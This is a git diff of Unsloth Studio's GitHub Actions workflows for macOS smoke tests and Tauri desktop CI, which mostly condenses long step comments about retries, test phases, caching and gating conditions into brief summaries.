- # available to llama.cpp from CI; gemma-3-270m turn latency
- # has been observed to crowd the 180s default. Triple it.
+ # Slow macOS runner without Metal: triple the 180s default turn timeout.
STUDIO_UI_TURN_TIMEOUT_MS: '540000'
- # Retry up to 3 times to absorb known macOS free-runner
- # flakes: (1) Playwright Node 24 pipeTransport.js 'Unexpected
- # end of JSON input' crash when the Chromium browser process
- # dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the
- # runner's kernel briefly runs out of socket buffers, and (3) a
- # goto 'interrupted by another navigation' when the SPA auth
- # guard redirects mid-navigation. The retry FULLY resets Unsloth
- # (kill, wipe auth, reboot, wait /api/health, re-export
- # bootstrap pw) before re-running the script. A real test failure
- # (assertion / timeout) does NOT match any pattern so it bypasses
- # retry and surfaces immediately.
+ # Retry known macOS runner flakes (pipeTransport crash, ERR_NO_BUFFER_SPACE, navigation
+ # interrupted) after a full reset; real assertion failures match no pattern and surface.
run: |
mkdir -p logs/playwright
attempt=1
@@ -462,9 +341,7 @@ jobs:
run: |
bash .github/scripts/run-studio-permission-browser.sh 18895 webkit
- # WKWebView is what the desktop app embeds here, so this is the closest
- # CI gets to the real macOS surface. The status reads are stubbed, which
- # also covers the mps and sd.cpp payloads a CUDA runner cannot produce.
+ # WKWebView is what the desktop app embeds; status reads are stubbed.
- name: Loaded-models indicator (WebKit)
run: |
bash .github/scripts/run-studio-indicator-browser.sh 18899 webkit
@@ -495,12 +372,10 @@ jobs:
STUDIO_NEW_PW: ${{ env.STUDIO_EXTRA_NEW_PW }}
PW_ART_DIR: logs/playwright_extra
STUDIO_UI_STRICT: '1'
- # See "Drive the chat UI" step.
STUDIO_UI_TURN_TIMEOUT_MS: '540000'
GGUF_REPO: ${{ env.GGUF_REPO }}
GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
- # Same flake-retry shape as "Drive the chat UI with Playwright" -- catches
- # pipeTransport JSON crash, ERR_NO_BUFFER_SPACE, and nav interrupts.
+ # Same flake-retry shape as the chat UI step.
run: |
mkdir -p logs/playwright_extra
attempt=1
@@ -537,11 +412,7 @@ jobs:
echo "::add-mask::$STUDIO_OLD_PW"
echo "::add-mask::$STUDIO_NEW_PW"
export STUDIO_OLD_PW STUDIO_NEW_PW
- # Out of this shell as well as into it. The retry deleted the auth
- # directory and bootstrapped a new password, so the values every
- # LATER step reads from GITHUB_ENV are now the credentials of a
- # server that no longer exists, and the next step to log in fails
- # a job whose retry had otherwise just succeeded.
+ # Export the new credentials to later steps: the retry wiped auth and re-bootstrapped.
echo "STUDIO_EXTRA_OLD_PW=$STUDIO_OLD_PW" >> "$GITHUB_ENV"
echo "STUDIO_EXTRA_NEW_PW=$STUDIO_NEW_PW" >> "$GITHUB_ENV"
attempt=$((attempt + 1))
@@ -551,10 +422,6 @@ jobs:
exit "$rc"
done
- # The same layout regression the Linux job runs, on the platform whose
- # scrollbars actually take width and whose font metrics are its own: the
- # card's floor and the action row's wrap threshold are both measurements,
- # and a measurement taken on one platform is a guess on the others.
- name: Update banner layout regression (Playwright)
env:
BASE_URL: http://127.0.0.1:18897
@@ -572,25 +439,8 @@ jobs:
sleep 2
# ---------------------------------------------------------------
- # Tab-capability phase. The assertion is that the Train row SPINS rather than
- # greying out while the hardware verdict is unmeasured.
- #
- # It gets its own boot on a cold port anyway, and no "wait for healthy" step
- # where every other phase has one, because a settled backend is the wrong
- # starting state to walk the tabs from. But do not read that as the phase
- # keeping the provisional window open for the script: it does not, and this
- # comment used to claim it did. `hardware_detecting` covers stage 0 of the warm
- # only, and on this runner's --no-torch install with no MLX present that stage
- # is a failed `import torch` plus one failed metadata lookup, so the verdict
- # settles inside a second of the port binding -- while Playwright is still
- # launching Chromium. Boot ordering buys the first /api/health probe a
- # provisional reply and nothing past it.
- #
- # So the script does not depend on the window being open. It holds the
- # browser's own /api/health at hardware_detecting=true and asserts against
- # that, which is open for as long as it needs on any host. The real warm is
- # still sampled when it happens to still be running, and still fails on a real
- # grey-out, but nothing is required of it.
+ # Own cold-port boot with no health wait: a settled backend is the wrong start state.
+ # The script pins /api/health at hardware_detecting=true itself, so no timing is assumed.
# ---------------------------------------------------------------
- name: Reset auth + boot Unsloth for the tab-capability smoke (port 18893)
run: |
@@ -599,7 +449,7 @@ jobs:
- name: Pass bootstrap pw for the tab-capability smoke
run: |
- # Wait for the password file, not for health: health is the thing under test.
+ # Wait for the password file, not health: health is under test.
for i in $(seq 1 180); do
[ -f ~/.unsloth/studio/auth/.bootstrap_password ] && break
sleep 1
@@ -613,14 +463,7 @@ jobs:
BASE_URL: http://127.0.0.1:18893
STUDIO_OLD_PW: ${{ env.STUDIO_TABS_OLD_PW }}
PW_ART_DIR: logs/playwright_mac_tabs
- # The default 330s outlives the launcher's 300s startup grace, which is the
- # point when a Tauri shell is driving the backend. Nothing here runs that
- # watchdog (this phase boots `unsloth studio` directly), so the full window
- # would spend five macOS-runner minutes proving something this job cannot
- # observe. The watchdog itself is covered by the Rust tests in
- # studio/src-tauri/src/commands.rs. What is unique to this phase is the
- # first-paint tab assertion, so keep the liveness poll just long enough to
- # cover the warm and the tab walk.
+ # Shorter than the 330s default: this phase has no Tauri watchdog to outlive.
STUDIO_MAC_SURVIVAL_S: '120'
run: |
mkdir -p logs/playwright_mac_tabs
@@ -633,10 +476,7 @@ jobs:
sleep 2
# ---------------------------------------------------------------
- # API + auth phase, absorbed from studio-mac-api-smoke.yml.
- # Runs on 18894: 18896 and 18897 were used by the UI phases above and
- # 18895 by the permission-browser script, so a fresh port keeps this
- # phase independent of whether any of those shut down cleanly.
+ # API + auth phase on its own port (18894).
# ---------------------------------------------------------------
- name: Install pyjwt for the JWT-expiry forge test
run: pip install 'pyjwt>=2.6'
@@ -677,38 +517,9 @@ jobs:
sleep 2
# ---------------------------------------------------------------
- # GGUF inference phases, absorbed from studio-mac-inference-smoke.yml.
- #
- # Fourth workflow to fold into this job, for the reason the three above
- # were: it ran the same checkout, setup-node, setup-python,
- # `install.sh --local --no-torch` and assert-llama-loads.sh, and primed
- # hf-cache from the SAME key with the SAME GGUF. A studio/** PR paid two
- # macOS slots to install Unsloth twice on two Macs and then test two
- # surfaces of it.
- #
- # Slots are the point, not seconds. Measured over the last 8 green main
- # runs of each: this job executes 1154s behind a 17438s queue, the
- # inference job 402s behind a 13252s queue. Running them in sequence on
- # one runner costs ~400s of wall clock and returns a macOS slot, and the
- # cap is 5 concurrent macOS jobs account-wide, shared with
- # unslothai/unsloth-zoo. Every slot returned shortens the queue for
- # everything else on it.
- #
- # Placed here, after the UI and API phases and before the update phase,
- # for two reasons that are both load-bearing:
- #
- # - `Phase 1 environment` and its siblings write GGUF_REPO, GGUF_VARIANT,
- # GGUF_FILE and STUDIO_PORT to $GITHUB_ENV, and phase 3 points them at
- # gemma-4-E2B-it. $GITHUB_ENV outranks the job-level `env:` for every
- # later step, so running these first would silently hand the UI phases
- # a different model than the one they declare.
- # - The update phase must still run last: it uninstalls and asserts the
- # machine is clean, which is the teardown for the whole job.
- #
- # Phase 1's own HF restore/prime/save block is NOT lifted. It used the
- # identical cache key for the identical GGUF that this job already primes
- # before the install, so it would restore over a cache it is sitting on
- # and race its own save step.
+ # GGUF inference phases, folded in to save a macOS slot. They write GGUF_* and STUDIO_PORT
+ # to $GITHUB_ENV (which outranks job env), so they must run AFTER the UI/API phases and
+ # BEFORE the update phase. Phase 1 reuses this job's primed hf-cache.
# ---------------------------------------------------------------
- name: Phase 1 environment
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' }}
@@ -749,16 +560,13 @@ jobs:
NEW="CIRotated-$(python -c 'import secrets; print(secrets.token_urlsafe(12))')"
echo "::add-mask::$OLD"
echo "::add-mask::$NEW"
- # 1. Login with the bootstrap password.
OLD_TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
-H 'content-type: application/json' \
-d "{\"username\":\"unsloth\",\"password\":\"$OLD\"}" | jq -r .access_token)
[ -n "$OLD_TOKEN" ] && [ "$OLD_TOKEN" != "null" ] || { echo "bootstrap login failed"; exit 1; }
- # 2. Rotate to a fresh random password.
curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/change-password" \
-H "Authorization: Bearer $OLD_TOKEN" -H 'content-type: application/json' \
-d "{\"current_password\":\"$OLD\",\"new_password\":\"$NEW\"}" > /dev/null
- # 3. Old password must now be rejected (HTTP 401).
OLD_STATUS=$(curl -s -o /dev/null -w '%{http_code}' \
-X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
-H 'content-type: application/json' \
@@ -767,7 +575,6 @@ jobs:
echo "::error::Login with old password returned $OLD_STATUS, expected 401"
exit 1
fi
- # 4. New password must succeed; capture the JWT for downstream steps.
NEW_TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
-H 'content-type: application/json' \
-d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token)
@@ -778,22 +585,10 @@ jobs:
- name: Load the GGUF (HF repo + variant, served from HF_HOME cache)
id: load-chat
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' && steps.rotate-chat.outcome == 'success' }}
- # curl already caps itself at --max-time 600; +2 for process overhead.
timeout-minutes: 12
run: |
- # speculative_type=off and n_parallel=1 are what make the determinism
- # assertion in the next step answerable. llama-server's README: "the
- # logits are not guaranteed to be bit-for-bit identical for different
- # batch" sizes. A non-MTP GGUF otherwise takes the --spec-default branch,
- # which is live n-gram drafting, not the absence of a drafter: the server
- # logs "draft acceptance = 0.46875 (30 accepted / 64 generated)". Its
- # draft pool is built from text the server has already seen, so the FIRST
- # turn-1 request after a load drafts nothing and decodes one token at a
- # time while every later one verifies a ~32-token draft in one batch, and
- # check(runner(), runner()) always compares the cold replay against a warm
- # one. n_parallel=1 also drops --kv-unified, whose shared-pool occupancy is
- # a second input to the batch. The other phases of this workflow keep both
- # defaults, so the shipped path stays covered.
+ # speculative_type=off and n_parallel=1 make the determinism check valid: n-gram drafting
+ # and --kv-unified change batch shapes between runs. Other phases keep the defaults.
curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/inference/load" \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
--max-time 600 \
@@ -816,7 +611,6 @@ jobs:
lsof -nP -iTCP:"${STUDIO_PORT}" -sTCP:LISTEN || true
- name: Upload logs
- # Always upload so green runs are still reviewable.
if: always()
# Diagnostic only: a transient artifact-service drop must not fail a green job.
continue-on-error: true
@@ -829,21 +623,8 @@ jobs:
retention-days: 7
# ==============================================================
- # Phase 2: tool calling + server-side tools.
- # Reuses the install and llama.cpp check done once above rather than
- # repeating them on a second runner. Ids, cache dir and server log are
- # suffixed -tools so the phases cannot collide inside one job.
- #
- # Every step below carries the same `if:`. A step with no `if:` gets an
- # implicit `success()`, which is job-wide rather than per-step, so a
- # single failed phase-1 step would otherwise skip phases 2 and 3
- # outright -- exactly the coverage the three independent jobs used to
- # give us when one of them went red. `!cancelled()` runs the phase after
- # a phase-1 failure while still honouring a cancel, and the
- # assert-llama gate keeps it from running when the SHARED preamble
- # broke (a failed checkout or install skips assert-llama, so its outcome
- # is not 'success' and phases 2 and 3 correctly stay out). The job still
- # ends red, because the failed phase-1 step already set the job status.
+ # Phase 2: tool calling. Every step carries `!cancelled()` plus the assert-llama gate so a
+ # phase-1 failure does not skip later phases, but a broken preamble does.
# ==============================================================
- name: Phase 2 environment
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' }}
@@ -881,7 +662,6 @@ jobs:
mkdir -p gguf-cache-tools
bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache-tools
- # Save partial caches on cancel; next run resumes via content hash.
- name: Save GGUF model file
if: always() && github.ref == 'refs/heads/main' && steps.download-gguf-tools.outcome != 'skipped' && hashFiles('gguf-cache-tools/**/*.gguf') != ''
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -893,22 +673,11 @@ jobs:
- name: Reset auth + boot Unsloth (API-only, default tool policy)
id: boot-tools
- # Phase-local prerequisite on top of the shared gate. The phase stays
- # independent of EARLIER phases, which is what the shared assert-llama
- # gate buys, but it is not independent of its own download: without this
- # clause a failed download still boots a server with no model and runs
- # the test against it. `!= 'failure'` and not `== 'success'`, because a
- # cache hit skips the download.
+ # `!= 'failure'`, not `== 'success'`: a cache hit skips the download.
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' && steps.download-gguf-tools.outcome != 'failure' }}
timeout-minutes: 2
- # We deliberately use the API-only mode rather than
- # `unsloth studio run` because the latter calls
- # `set_tool_policy(...)` with a resolved bool: on loopback the
- # default resolves to True, which forces every request through
- # the server-side agentic loop and breaks the standard
- # function-calling test below. API-only mode leaves
- # tool_policy=None so each request's `enable_tools` field is
- # honoured.
+ # API-only mode leaves tool_policy=None so each request's `enable_tools` is honoured;
+ # `unsloth studio run` would force the agentic loop on loopback.
run: |
bash .github/scripts/boot-studio-api-only.sh \
--port "$STUDIO_PORT" --log logs/studio_tools.log
@@ -916,7 +685,6 @@ jobs:
- name: Wait for /api/health, log in, change password, load model
id: ready-tools
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' && steps.boot-tools.outcome == 'success' }}
- # 180s health wait + curl's own --max-time 600, with headroom.
timeout-minutes: 15
run: |
for i in $(seq 1 180); do
@@ -1267,7 +1035,6 @@ jobs:
lsof -nP -iTCP:"${STUDIO_PORT}" -sTCP:LISTEN || true
- name: Upload logs
- # Always upload so green runs are still reviewable.
if: always()
# Diagnostic only: a transient artifact-service drop must not fail a green job.
continue-on-error: true
@@ -1280,12 +1047,7 @@ jobs:
retention-days: 1
# ==============================================================
- # Phase 3: JSON schema decoding + image input.
- # Reuses the install and llama.cpp check done once above rather than
- # repeating them on a second runner. Ids, cache dir and server log are
- # suffixed -vision so the phases cannot collide inside one job.
- # Same `if:` as phase 2, for the same reason: a phase-1 or phase-2
- # failure must not silently skip this phase's coverage.
+ # Phase 3: JSON schema + image input; same `if:` shape as phase 2.
# ==============================================================
- name: Phase 3 environment
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' }}
@@ -1310,10 +1072,8 @@ jobs:
- name: Download GGUF + mmproj if cache miss or partial
id: download-gguf-vision
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' && (steps.cache-gguf-vision.outputs.cache-hit != 'true' || steps.verify-cache.outputs.ok != 'true') }}
- # Authenticated + parallel: shared macOS NAT egress stalls
- # multi-GB anonymous downloads. hf-download-with-retry.sh retries
- # forever, so this cap is what actually bounds a permanent stall --
- # 30 matches the old json-images job timeout, the slowest of the three.
+ # Authenticated: shared macOS NAT egress stalls anonymous multi-GB downloads.
+ # The retry script loops forever, so this cap is the real bound.
timeout-minutes: 30
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -1327,13 +1087,9 @@ jobs:
MMPROJ_PID=$!
wait "$MODEL_PID"
wait "$MMPROJ_PID"
- # Fail loud on a partial download instead of in the next step.
ls -lh "gguf-cache-vision/$GGUF_FILE" "gguf-cache-vision/$MMPROJ_FILE"
- # Save partial caches on cancel. hashFiles guard avoids a hard
- # save failure when the download step exits with no files. The
- # additional mmproj-presence check stops a partial save from
- # poisoning the cache for the next run.
+ # The mmproj-presence check stops a partial save from poisoning the cache.
- name: Save GGUF + mmproj files
if: always() && github.ref == 'refs/heads/main' && steps.download-gguf-vision.outcome != 'skipped' && hashFiles('gguf-cache-vision/**/*.gguf') != '' && hashFiles(format('gguf-cache-vision/{0}', 'mmproj-F16.gguf')) != ''
@@ -1351,13 +1107,10 @@ jobs:
- name: Reset auth + boot Unsloth (API-only)
id: boot-vision
- # Same phase-local prerequisite as phase 2. The SDK clause is here and
- # not in phase 2 because only this phase imports openai/anthropic.
+ # Only this phase imports the SDKs, hence the extra clause.
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' && steps.sdks-vision.outcome == 'success' && steps.download-gguf-vision.outcome != 'failure' }}
timeout-minutes: 2
- # See phase 2's comment: API-only mode keeps tool_policy=None so
- # response_format requests aren't routed through the agentic
- # tool loop.
+ # API-only keeps tool_policy=None (see phase 2).
run: |
bash .github/scripts/boot-studio-api-only.sh \
--port "$STUDIO_PORT" --log logs/studio_vision.log
@@ -1365,7 +1118,6 @@ jobs:
- name: Wait for /api/health, log in, change password, load model
id: ready-vision
if: ${{ !cancelled() && steps.assert_llama.outcome == 'success' && steps.boot-vision.outcome == 'success' }}
- # 180s health wait + curl's own --max-time 900, with headroom.
timeout-minutes: 20
run: |
for i in $(seq 1 180); do
@@ -1389,10 +1141,7 @@ jobs:
-H 'content-type: application/json' \
-d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token)
echo "API_KEY=$TOKEN" >> "$GITHUB_ENV"
- # Load via local file path; mmproj sibling auto-detected by
- # detect_mmproj_file (model_config.py). gguf_variant omitted
- # -- it routes through _find_local_gguf_by_variant which
- # expects a directory, not a file path.
+ # Omit gguf_variant: _find_local_gguf_by_variant expects a directory, not a file.
GGUF_PATH="$GITHUB_WORKSPACE/gguf-cache-vision/${GGUF_FILE}"
MMPROJ_PATH="$GITHUB_WORKSPACE/gguf-cache-vision/${MMPROJ_FILE}"
ls -lh "$GGUF_PATH" "$MMPROJ_PATH"
@@ -1654,7 +1403,6 @@ jobs:
lsof -nP -iTCP:"${STUDIO_PORT}" -sTCP:LISTEN || true
- name: Upload logs
- # Always upload so green runs are still reviewable.
if: always()
# Diagnostic only: a transient artifact-service drop must not fail a green job.
continue-on-error: true
@@ -1668,22 +1416,9 @@ jobs:
# ---------------------------------------------------------------
- # Update + uninstall phase, absorbed from studio-mac-update-smoke.yml.
- # Same install, same assert-llama-loads.sh, so it was a third macOS
- # runner doing the same bootstrap to check that `update` is a no-op.
- #
- # Runs last on purpose: it ends by uninstalling and asserting the machine
- # is clean, which is the teardown for this whole job. Nothing may follow
- # it that needs Unsloth installed. Its server boots on 18891 and logs to
- # studio_update.log so it cannot clobber the UI or API phases above.
- #
- # Every step below carries an explicit condition because a step with no
- # `if:` gets an implicit `success()`, so one flaky Playwright failure in a
- # phase above would silently skip this whole phase. As its own workflow it
- # ran regardless, and it is the only Mac coverage of `studio update` and
- # scripts/uninstall.sh. `!cancelled()` overrides the implicit success()
- # while the step-outcome checks still demand a working install to test
- # against. `${{ }}` is required: a bare leading `!` is a YAML tag.
+ # Update + uninstall phase. Runs LAST: it uninstalls and asserts a clean machine.
+ # `!cancelled()` overrides the implicit success() so earlier failures do not skip it;
+ # `${{ }}` is required because a bare leading `!` is a YAML tag.
# ---------------------------------------------------------------
- name: First update should be a no-op (prebuilt already validated)
id: update_first
@@ -1707,9 +1442,6 @@ jobs:
fi
echo "update path took the prebuilt fast path"
- # Chained on the first update: "also a no-op" says nothing if the first
- # one never produced a clean result. Success here implies the bootstrap
- # gate above passed too, so it does not need repeating.
- name: Second update must also be a no-op
id: update_second
if: ${{ !cancelled() && steps.update_first.outcome == 'success' }}
@@ -1753,16 +1485,9 @@ jobs:
echo "post-update Unsloth /api/health OK"
- name: Uninstall and verify clean
- # Gated on the install alone, not on the update steps: uninstall is a
- # separate surface, and a broken `studio update` must not hide whether
- # scripts/uninstall.sh still leaves the machine clean.
+ # Gated on the install only, so a broken update cannot hide uninstall results.
if: ${{ !cancelled() && steps.install_unsloth.outcome == 'success' }}
- # Round-trip through scripts/uninstall.sh on real macOS. As a side
- # effect this exercises the macOS-only .app bundle + Launch Services
- # removal path (~/Applications/Unsloth Studio.app, lsregister -u)
- # which is not testable from a Linux runner. Skips gracefully if
- # scripts/uninstall.sh has not landed yet (lets this workflow merge
- # before #5497).
+ # Round-trip scripts/uninstall.sh on real macOS, including the .app / lsregister path.
run: |
set -o pipefail
if [ ! -f scripts/uninstall.sh ]; then
@@ -1810,7 +1535,5 @@ jobs:
logs/studio-permissions-*.log
logs/studio_tabs.log
logs/playwright_mac_tabs
- # 1 day, matching the repository-wide cap. A larger value here is
- # silently clamped to that cap today, so stating 7 only invites the
- # artifacts to re-inflate if the cap is ever raised.
+ # Repository-wide cap; larger values are silently clamped.
retention-days: 1
diff --git a/.github/workflows/studio-tauri-smoke.yml b/.github/workflows/studio-tauri-smoke.yml
index ffdd7260a54..d323f45268c 100644
--- a/.github/workflows/studio-tauri-smoke.yml
+++ b/.github/workflows/studio-tauri-smoke.yml
@@ -1,18 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# PR-time smoke for the Tauri desktop wrapper. Builds the frontend and the
-# Tauri Linux debug binary, with no codesigning. Catches:
-# - tauri.conf.json drift
-# - src-tauri Cargo.toml or rust source breakage
-# - Tauri CLI version drift (we pin 2.10.1, matching release-desktop.yml)
-# - frontend output not picked up by Tauri's distDir
-#
-# The build job stays on Linux; signed desktop builds remain in the manual
-# release workflow.
-#
-# A second job covers `#[cfg(windows)]` code, which Linux strips before type
-# checking and cannot cross-compile because `ring` requires MSVC `lib.exe`.
+# PR-time Tauri build (Linux debug, unsigned). A second job type-checks `#[cfg(windows)]`
+# code, which Linux strips and cannot cross-compile (`ring` needs MSVC).
name: Unsloth Tauri CI
@@ -24,52 +14,33 @@ on:
paths:
- 'studio/frontend/**'
- 'studio/src-tauri/**'
- # CLI rename / signature change can break Tauri's spawned
- # `unsloth studio` -- include unsloth_cli in the trigger set.
+ # Tauri spawns `unsloth studio`.
- 'unsloth_cli/**'
- '.github/workflows/studio-tauri-smoke.yml'
- '.github/scripts/retry-with-apt-lock.sh'
- # The Linux job installs and runs the Tauri CLI out of the studio/ package
- # root (`npm install --prefix studio`, `npx --prefix studio`), so these
- # manifests decide what it builds with.
+ # The Tauri CLI is installed from the studio/ package root.
- 'studio/package.json'
- 'studio/package-lock.json'
- 'studio/.npmrc'
- # Run as a step of the Linux job.
- 'scripts/lockfile_supply_chain_audit.py'
- # The Rust unit test every_shared_case_agrees_with_the_desktop_filter
- # (src-tauri/src/process.rs) reads this backend fixture, and cargo test runs it in
- # all three jobs. Nothing else runs that test, so an edit to the fixture has to
- # run this workflow.
+ # Read by the Rust test every_shared_case_agrees_with_the_desktop_filter.
- 'studio/backend/tests/fixtures/access_log_records.json'
push:
branches: [main]
- # Same list as the PR filter. Without it this workflow ran on EVERY commit to
- # main: a README-only commit fired all four unfiltered macOS workflows, seven
- # macOS legs, against an account-wide cap of five concurrent macOS jobs. The
- # post-merge backstop is unchanged, because a commit that cannot touch what
- # this workflow tests has nothing here to back up.
- # clean-machine-install-ci.yml and mlx-ci.yml already do exactly this.
+ # Same list as the PR filter, to spare the account-wide macOS slots.
paths:
- 'studio/frontend/**'
- 'studio/src-tauri/**'
- # CLI rename / signature change can break Tauri's spawned
- # `unsloth studio` -- include unsloth_cli in the trigger set.
+ # Tauri spawns `unsloth studio`.
- 'unsloth_cli/**'
- '.github/workflows/studio-tauri-smoke.yml'
- '.github/scripts/retry-with-apt-lock.sh'
- # The Linux job installs and runs the Tauri CLI out of the studio/ package
- # root (`npm install --prefix studio`, `npx --prefix studio`), so these
- # manifests decide what it builds with.
+ # The Tauri CLI is installed from the studio/ package root.
- 'studio/package.json'
- 'studio/package-lock.json'
- 'studio/.npmrc'
- # Run as a step of the Linux job.
- 'scripts/lockfile_supply_chain_audit.py'
- # The Rust unit test every_shared_case_agrees_with_the_desktop_filter
- # (src-tauri/src/process.rs) reads this backend fixture, and cargo test runs it in
- # all three jobs. Nothing else runs that test, so an edit to the fixture has to
- # run this workflow.
+ # Read by the Rust test every_shared_case_agrees_with_the_desktop_filter.
- 'studio/backend/tests/fixtures/access_log_records.json'
concurrency:
@@ -94,15 +65,8 @@ jobs:
persist-credentials: false
- name: Linux native deps for Tauri / WebKit2GTK
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: a hung apt step is reported as `cancelled` with no reason.
+ # update + install retry as one unit; two long attempts, since slow mirrors are common.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -119,27 +83,16 @@ jobs:
- uses: swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2
with:
- # Save only on main. This action defaults to saving on every ref, and
- # a PR-scoped rust cache (550-840MB here) can only be restored by
- # re-runs of that same PR while still counting against the 50 GiB
- # per-repo budget, evicting main's copy that every PR can restore.
+ # Save only on main: PR-scoped caches only serve that PR and evict main's shared copy.
save-if: ${{ github.ref == 'refs/heads/main' }}
workspaces: studio/src-tauri -> target
- name: Lockfile supply-chain audit (pre-install scan)
- # Must run BEFORE any `npm install` (including the Tauri CLI
- # install below). Lifecycle scripts in a compromised lockfile
- # would otherwise execute inside this runner before the audit
- # gets a chance to refuse the lockfile.
+ # Must run BEFORE any `npm install`, including the Tauri CLI below.
run: python3 scripts/lockfile_supply_chain_audit.py
- name: Install pinned Tauri CLI (matches release-desktop.yml)
- # Lifecycle scripts (esbuild native-binary postinstall, etc.) are
- # required for `vite build`. The pre-install lockfile structural
- # audit (lockfile_supply_chain_audit.py) above is the practical
- # defence against the npm postinstall-dropper class -- it fires
- # BEFORE any tarball runs, on the injection pattern itself
- # rather than an advisory-DB lookup.
+ # Lifecycle scripts are required for `vite build`; the lockfile audit runs first.
run: npm ci --prefix studio --no-fund --no-audit
- name: Verify pinned Tauri CLI version
@@ -150,32 +103,18 @@ jobs:
- name: Frontend build (npm ci, vite)
working-directory: studio/frontend
- # Lifecycle scripts (esbuild native-binary postinstall, etc.) are
- # required for `vite build`. The pre-install lockfile structural
- # audit (lockfile_supply_chain_audit.py) is the practical defence
- # against the npm postinstall-dropper class -- it fires BEFORE any
- # tarball runs, on the injection pattern itself rather than an
- # advisory-DB lookup.
+ # Lifecycle scripts are required for `vite build`; the lockfile audit runs first.
run: |
npm ci --no-fund --no-audit
npm run build
test -f dist/index.html
- # The crate carries ~100 unit tests (native_file_dialogs, preflight,
- # install, desktop_auth, ...) that nothing ran until now: this workflow
- # only ever built. Run them here, where the toolchain and the WebKit dev
- # packages are already installed, so a broken assertion fails the PR
- # instead of sitting unnoticed. `--no-fail-fast` reports every failing
- # test in one run rather than stopping at the first.
- name: Rust unit tests (studio/src-tauri)
working-directory: studio/src-tauri
run: cargo test --no-fail-fast
- name: Tauri debug build (Linux, no bundle, no codesign)
- # `--debug` + `--no-bundle` keeps this lean: compiles the Rust crate,
- # confirms the frontend dist is wired into Tauri, but skips the AppImage
- # / .deb production. Code signing is irrelevant because we never produce
- # a distributable artifact.
+ # --debug --no-bundle: compile and wire the dist, no packaging or signing.
env:
TAURI_SIGNING_PRIVATE_KEY: ''
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ''
@@ -196,35 +135,22 @@ jobs:
file "$BIN"
du -h "$BIN"
- # desktop-app-clean-machine-ci.yml launches a SHIPPED release, so this is
- # the only job that catches a Linux startup regression from a source change
- # before a release is cut.
- #
- # Ten launches, not one: the #8062 X11 race killed roughly one launch in
- # three, so a single launch passes two times in three with the bug present.
- #
- # The backend is a stub -- preflight only needs `-h` to exit 0 and
- # `studio desktop-capabilities --json` to answer, and the crash lands
- # milliseconds after the spawn -- which covers the whole startup-to-app-shell
- # transition without a Python install, in ~4 minutes.
+ # The only job that catches a Linux startup regression before a release. Ten launches:
+ # the #8062 X11 race killed about one in three. The backend is a stub.
- name: Launch repeatedly under Xvfb
run: |
set -u
BIN="$PWD/studio/src-tauri/target/debug/unsloth-studio"
[ -x "$BIN" ] || { echo "::error::no debug binary at $BIN"; exit 1; }
- # From libX11 1.8 the library calls XInitThreads() from its own
- # constructor, so the #8062 race cannot happen and these launches would
- # pass even with the fix reverted. ubuntu-22.04 ships 1.7.5, which does not.
+ # libX11 >= 1.8 calls XInitThreads() itself, so the race cannot reproduce there.
x11ver="$(dpkg-query -W -f='${Version}' libx11-6 2>/dev/null || true)"
echo "libx11-6: ${x11ver:-not installed}"
if [ -z "$x11ver" ] || dpkg --compare-versions "$x11ver" ge 2:1.8; then
echo "::warning::libX11 ${x11ver:-unknown} initialises threading itself, so these launches no longer cover the #8062 race, only that the app starts. Keep this job on a runner with libX11 < 1.8 to keep that coverage."
fi
- # Derived, not hardcoded: a bump to MIN_DESKTOP_BACKEND_VERSION would
- # leave the stub Stale, park the app on the repair screen and quietly
- # stop testing the startup transition this job exists to test.
+ # Derived from MIN_DESKTOP_BACKEND_VERSION so the stub never reads as Stale.
STUB_VERSION="$(sed -n 's/.*MIN_DESKTOP_BACKEND_VERSION: &str = "\([^"]*\)".*/\1/p' \
studio/src-tauri/src/preflight/version.rs)"
[ -n "$STUB_VERSION" ] || {
@@ -260,8 +186,7 @@ jobs:
for _ in $(seq 1 40); do [ -e "/tmp/.X11-unix/X$D" ] && break; sleep 0.25; done
(
export DISPLAY=":$D" HOME="$H" XDG_RUNTIME_DIR="$H/xdg" XDG_CONFIG_HOME="$H/.config"
- # Without this GTK drops its fatal-X-error report and the app exits
- # 1 with no output at all, which is what made #8062 so opaque.
+ # Without this GTK drops its fatal X error report and exits silently.
export G_MESSAGES_DEBUG=all RUST_BACKTRACE=full
unset UNSLOTH_STUDIO_HOME STUDIO_HOME
exec "$BIN"
@@ -270,9 +195,7 @@ jobs:
for _ in $(seq 1 20); do kill -0 "$APP" 2>/dev/null || break; sleep 1; done
if kill -0 "$APP" 2>/dev/null; then
